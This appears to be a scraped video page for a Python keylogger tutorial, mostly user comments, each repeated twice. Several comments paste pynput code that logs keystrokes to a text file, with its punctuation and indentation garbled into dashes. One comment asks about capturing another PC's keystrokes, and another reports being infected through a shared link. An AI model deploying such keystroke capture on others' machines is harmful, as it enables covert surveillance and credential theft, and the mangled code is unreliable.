
Create a Keylogger with Python - Tutorial
video description
Date: 2022-03-14
Related videos
Comments and reviews: 7
itech
if you are lazy
from pynput.keyboard import Key, Listener-
count = 0-
keys = []-
def on_press(key):-
global keys, count-
keys.append(key)-
count += 1-
print(--0- pressed-.format(key))-
if count >= 10:-
count = 0-
write_file(keys)-
keys = []-
def write_file(keys):-
with open(-log.txt-,-a- ) as f:-
for key in keys:-
k = str(key).replace(-'-, --)-
if k.find(-space-) > 0:-
f.write(-\n-)-
elif k.find(-Key-) == -1:-
f.write(k)-
def on_release(key):-
if key == Key.esc:-
return False-
with Listener(on_press=on_press, on_release=on_release) as listener:-
listener.join()
reply
if you are lazy
from pynput.keyboard import Key, Listener-
count = 0-
keys = []-
def on_press(key):-
global keys, count-
keys.append(key)-
count += 1-
print(--0- pressed-.format(key))-
if count >= 10:-
count = 0-
write_file(keys)-
keys = []-
def write_file(keys):-
with open(-log.txt-,-a- ) as f:-
for key in keys:-
k = str(key).replace(-'-, --)-
if k.find(-space-) > 0:-
f.write(-\n-)-
elif k.find(-Key-) == -1:-
f.write(k)-
def on_release(key):-
if key == Key.esc:-
return False-
with Listener(on_press=on_press, on_release=on_release) as listener:-
listener.join()
reply
Sinforme
been playing with this a bit , i didn't like the txt file format, found that this makes it a bit easier to read, a bug that i have not quite figured out is having removed the backspace and shift etc from the output file, its adding spaces when i hit backspace so that can become an annoyance.
def write_file(keys):
with open(-log.txt-, -a-) as f:
for key in keys:
k=str(key).replace(-'-,--)
if k.find(-enter-) > 0:
f.write('\n')
if k.find(-space-) > 0:
f.write(' ')
elif k.find(-Key-) == -1:
f.write(k)
reply
been playing with this a bit , i didn't like the txt file format, found that this makes it a bit easier to read, a bug that i have not quite figured out is having removed the backspace and shift etc from the output file, its adding spaces when i hit backspace so that can become an annoyance.
def write_file(keys):
with open(-log.txt-, -a-) as f:
for key in keys:
k=str(key).replace(-'-,--)
if k.find(-enter-) > 0:
f.write('\n')
if k.find(-space-) > 0:
f.write(' ')
elif k.find(-Key-) == -1:
f.write(k)
reply
Library
im having issues with pynput and pygame... i created a brand new project and i specially chose python version 3.9 bc when I check the version on my mac terminal it says 3.9.7 and in one of your videos you said in order for 3rd party libraries to work both Pycharm and my mac terminal need to be on the same version. On Pycharm i chose version 3.9 and when i try importing pygame or pynput modules an error pops up. I sent you an email. is there anyway to help guide me through this?
reply
im having issues with pynput and pygame... i created a brand new project and i specially chose python version 3.9 bc when I check the version on my mac terminal it says 3.9.7 and in one of your videos you said in order for 3rd party libraries to work both Pycharm and my mac terminal need to be on the same version. On Pycharm i chose version 3.9 and when i try importing pygame or pynput modules an error pops up. I sent you an email. is there anyway to help guide me through this?
reply
Brett
Awesome Tutorial! I'm writing a script to communicate with multiple GPIB devices and needed them all to do things until a key was pressed. Your tutorial was exactly what I was looking for
reply
Awesome Tutorial! I'm writing a script to communicate with multiple GPIB devices and needed them all to do things until a key was pressed. Your tutorial was exactly what I was looking for
reply
maya
If we have access to another pc and they shared screen on our pc, then can we see the keystrokes of their pc in our pc without pycharm installed in their pc
reply
If we have access to another pc and they shared screen on our pc, then can we see the keystrokes of their pc in our pc without pycharm installed in their pc
reply
J-ger
I got 2 errors SyntaxError: invalid syntax and IndentationError: expected an indented block after 'if' statement on line 23 how do i fix this
reply
I got 2 errors SyntaxError: invalid syntax and IndentationError: expected an indented block after 'if' statement on line 23 how do i fix this
reply
Marcin
hacker send this link in league of legends game lobby, i have now key logger in pc, i reported player, and this youtuber for hack my pc
reply
hacker send this link in league of legends game lobby, i have now key logger in pc, i reported player, and this youtuber for hack my pc
reply
Add a review, comment
Other channel videos















